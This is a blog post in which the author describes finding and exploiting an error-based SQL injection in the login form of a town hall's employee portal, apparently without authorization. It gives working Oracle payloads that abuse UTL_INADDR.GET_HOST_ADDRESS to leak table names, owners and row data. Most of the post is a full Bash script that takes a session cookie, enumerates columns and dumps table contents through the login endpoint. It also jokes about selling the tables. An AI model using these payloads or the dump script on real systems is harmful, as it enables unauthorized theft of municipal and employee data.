T0wn H4ll :(
Hello there my friends! My name is Dot. And I am here, to tell you, how I discovered a SQL Injection, on one of the employee portals on the website of my town hall.
I set myself this goal, in order to show both to my family and to the people. That it is not necessary to have any degree, or career, to show that you know. That there are people, without any "official" study or any degree, who also know. And that they can be the same, or better, than people who have a career or a degree.
So without further ado, I opened Burp Suite and started sending all requests to the Repeater. A tip I give you, is to send all requests to the Repeater, even if they seem harmless, because sometimes in the responses you gain information that normally, we could not see it.
As it happened to me. At first, when in the login, I tried a user with a single quote, I got a 302. But, however, when I did the same request in the Repeater, in the response of the 302, we can see a pretty juicy error.
With a simple search of the error to our friend Google, we can see that the DBMS is Oracle. Great, my first SQL Injection in Oracle. The first thing I did was to look for information about Oracle's structure. And I found that with Oracle, we can only access a database by connection, this means, we connect with a user to a database, and we can't change the database, unless we start a new connection. So we can only enumerate the tables of the database we are in.
The next thing I did, was to find out how many columns are in the query. So let's start:
Order by 2:
Order by 3:
Mmmm it has two columns, cool. The next thing I did was to Google if there was an information_schema.tables
style table like in MySQL in order to enumerate the tables. And I saw that there are two ways to do this. With the DBA_TABLES
table (we need permissions to access this table). Or with the all_users
table (with this table, we list all the tables to which our user has access).
Both tables have two columns, which are of interest to us as an attacker: owner
and table_name
So I tried a quick query to see if it worked and....
Mmmm no output in 302? Let's follow the 302 to see if we see the output reflected somewhere on the page.
Either. So I thought that since it does show the errors, we can make a Error Based SQL Injection.
After trying several payloads to generate an error and see the output, without success:
Thanks to a friend of mine (@Jusepe_it), I got a payload that worked:
Bingo! We are user <redacted>. Another thing I discovered reading about Oracle, is that we always have to call a table in a query. For example, in MySQL we do select user()
. While in Oracle we have to do select user from dual
. Dual is a default table in Oracle, which is has one column, called Dummy, precisely for these cases.
I also want to explain another problem I encountered, and it is the following:
If we try to list users. We see that as it usually happens in MySQL, if it returns more than one row at a time, it gives a similar error, this can be solved with Limit 0,1. But in Oracle, this does not exist. After some time searching in Google, in a forum, I saw that they did the following:
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=1
This assigns a number starting from 1 up to the number of columns there are. In this way, we can iterate over the columns thanks to the value of r
In this way, if we want to enumerate the users, we would simply have to increase the value of r by one, until we get an "Invalid number" error.
Also, I discovered that if we want to retrieve information from a table. We have to specify its owner in the following way: owner.table
, this is similar to database.table
in MySQL.
So if I were an attacker, the next thing I would do is list all the tables, along with their respective owners. To do this in one, I wanted to concatenate the owner along with the table name. But of course, in Oracle the concat function does not work in the same way. So after searching on the Internet. I came to the following conclusion. We can concatenate as follows:
table_1||':'||tabla_2
So the query would look like this:
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT table_name||':'||owner FROM (SELECT DISTINCT ROWNUM r, owner,table_name FROM all_tables ORDER BY table_name) WHERE r=1))--
So I wanted to find out how many tables there are, and the result...
As we can see, there are 11223 tables. At 100 euros per table... That's 1,122,300 euros. I give a discount to the first 3 buyers, DM me. Just kidding, please don't arrest me.
Well, let's move on. Let's imagine that now we want to retrieve the data from a specific table. Well, we would do it in the following way:
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT Column1||':'||Column2||':'||ColumnN FROM (SELECT DISTINCT ROWNUM r, Column1,Column2,ColumnN FROM OWNER.TABLE_NAME) WHERE r=1))--
Obviously, I'm not going to upload any pictures of this, as I would be doing something illegal.
Bash
As you know, I always want more and more, and I am not satisfied with that. So, what I did was a script in Bash, to automate the whole process, and just indicating the table we want to dump, it will get the owner, the columns that form the table, and start dump it.
The script. It is as follows (For privacy and precaution, I have replaced the URL with the word URL):
#!/bin/bash
function get_cookies(){
cookie=$(curl -s -k -i https://URL -H "User-Agent: re" -d"entidad=001&destino=portal&nueva_sesion=1&debug=0&tipofich=&entrado_wcronos=1" | grep -oiE 'phpsessid=(.*?);' | tr -d ";" | awk -NF "=" '{print $2}')
echo "Cookie: $cookie"
duenio
}
function duenio(){
read -p "Tabla: " tabla
tabla=$(echo "$tabla" | tr 'a-z' 'A-Z')
var_duenio=$(curl -s -k -X POST -H 'User-Agent: re'-H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' -b "PHPSESSID=$cookie" --data-binary "fakeusernameremembered=&fakepasswordremembered=&USUARIO=\' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT owner||':'||table_name FROM (SELECT DISTINCT ROWNUM r, owner,table_name FROM all_tables where table_name='$(echo "$tabla")' ORDER BY owner) WHERE r=1))--&CONTRASENA=1&codigo_captcha=6133&Id_Cli=0&BD=ORA" https://URL/validar2.php | grep -oP 'host (.*?) unknown' | sed -e 's/host\(.*\)unknown/\1/' | awk -NF ":" '{print $1}' | tr -d " ")
echo "Owner: $var_duenio"
columnas
}
function columnas(){
columnas=()
for columna in $(echo {1..500}); do
var=$(curl -s -k -X POST -H 'User-Agent: re'-H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' -b "PHPSESSID=$cookie" --data-binary "fakeusernameremembered=&fakepasswordremembered=&USUARIO=\' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT column_name FROM (SELECT ROWNUM r, column_name FROM all_tab_columns where table_name='$tabla' ORDER BY column_name) WHERE r=$columna))--&CONTRASENA=1&codigo_captcha=6133&Id_Cli=0&BD=ORA" https://URL/validar2.php)
if [[ $(echo "$var" | grep -ci "invalid number") = "1" ]]; then
echo -e "Finished retrieveing columns\n"
dump
break
else
valor=$(echo "$var" | tr -d "\n" | grep -oP 'host (.*?) unknown' | sed -e 's/host\(.*\)unknown/\1/' | tr -d " ")
columnas=("${columnas[@]}" $valor)
if [ $(echo -n "${columnas[@]}" | grep -oi "$valor" | wc -l) = 1 ];then
echo "Columna --> $valor"
else
for i in "${!columnas[@]}"; do
if [[ ${columnas[$i]} = $valor ]]; then
unset 'columnas[$i]'
fi
done
columnas=($valor "${columnas[@]}")
echo -e "Finished retrieveing columns\n"
dump
break
fi
fi
done
}
function dump(){
cont_dump=1
cont_end=0
for n_dump in $(echo {1..100000});do
var_dump=$(curl -s -k -X POST -H 'User-Agent: re' -H 'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' -b "PHPSESSID=$cookie" --data-binary $"fakeusernameremembered=&fakepasswordremembered=&USUARIO=' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT null$(for var_columna in "${columnas[@]}";do echo -n "||';'||'$var_columna: '||$var_columna"; done) FROM (SELECT ROWNUM r$(for var_columna2 in "${columnas[@]}";do echo -n ",$var_columna2"; done) FROM $var_duenio.$tabla) WHERE r=$n_dump))--&CONTRASENA=1&codigo_captcha=6133&Id_Cli=0&BD=ORA" https://URL/validar2.php)
if [[ $(echo "$var_dump" | grep -ci "invalid number") = 1 ]]; then
let cont_end=$cont_end+1
if [ $(echo "$cont_end") == 5 ] ;then
if [ $(echo "$cont_dump" == 1) ]; then
echo "Tabla vacia :("
break
else
echo "Finished retrieving data"
break
fi
fi
else
valor_dump=$(echo "$var_dump" | tr -d "\n" | grep -oP 'host (.*?) unknown' | sed -e 's/host\(.*\)unknown/\1/')
echo -e "Info $cont_dump: --> $valor_dump\n----------------------------------------------------------------"
let cont_dump=$cont_dump+1
fi
done
}
get_cookies
Here is a demo, which obviously, you can't see any data, but trust me, it works perfectly :)
At the end it looks like the bedrock stone of Minecraft... but it is not
Final words
For those of you who think god how easy. It is not easy at all, it has been my first time against Oracle, and I have spent a lot of time searching and reading information about its structure, syntax, and payloads.
Well, that's all for today, if you have any question you can ask me here. I hope this post have served as food for your brains, see you in the next. Fire it up, baby.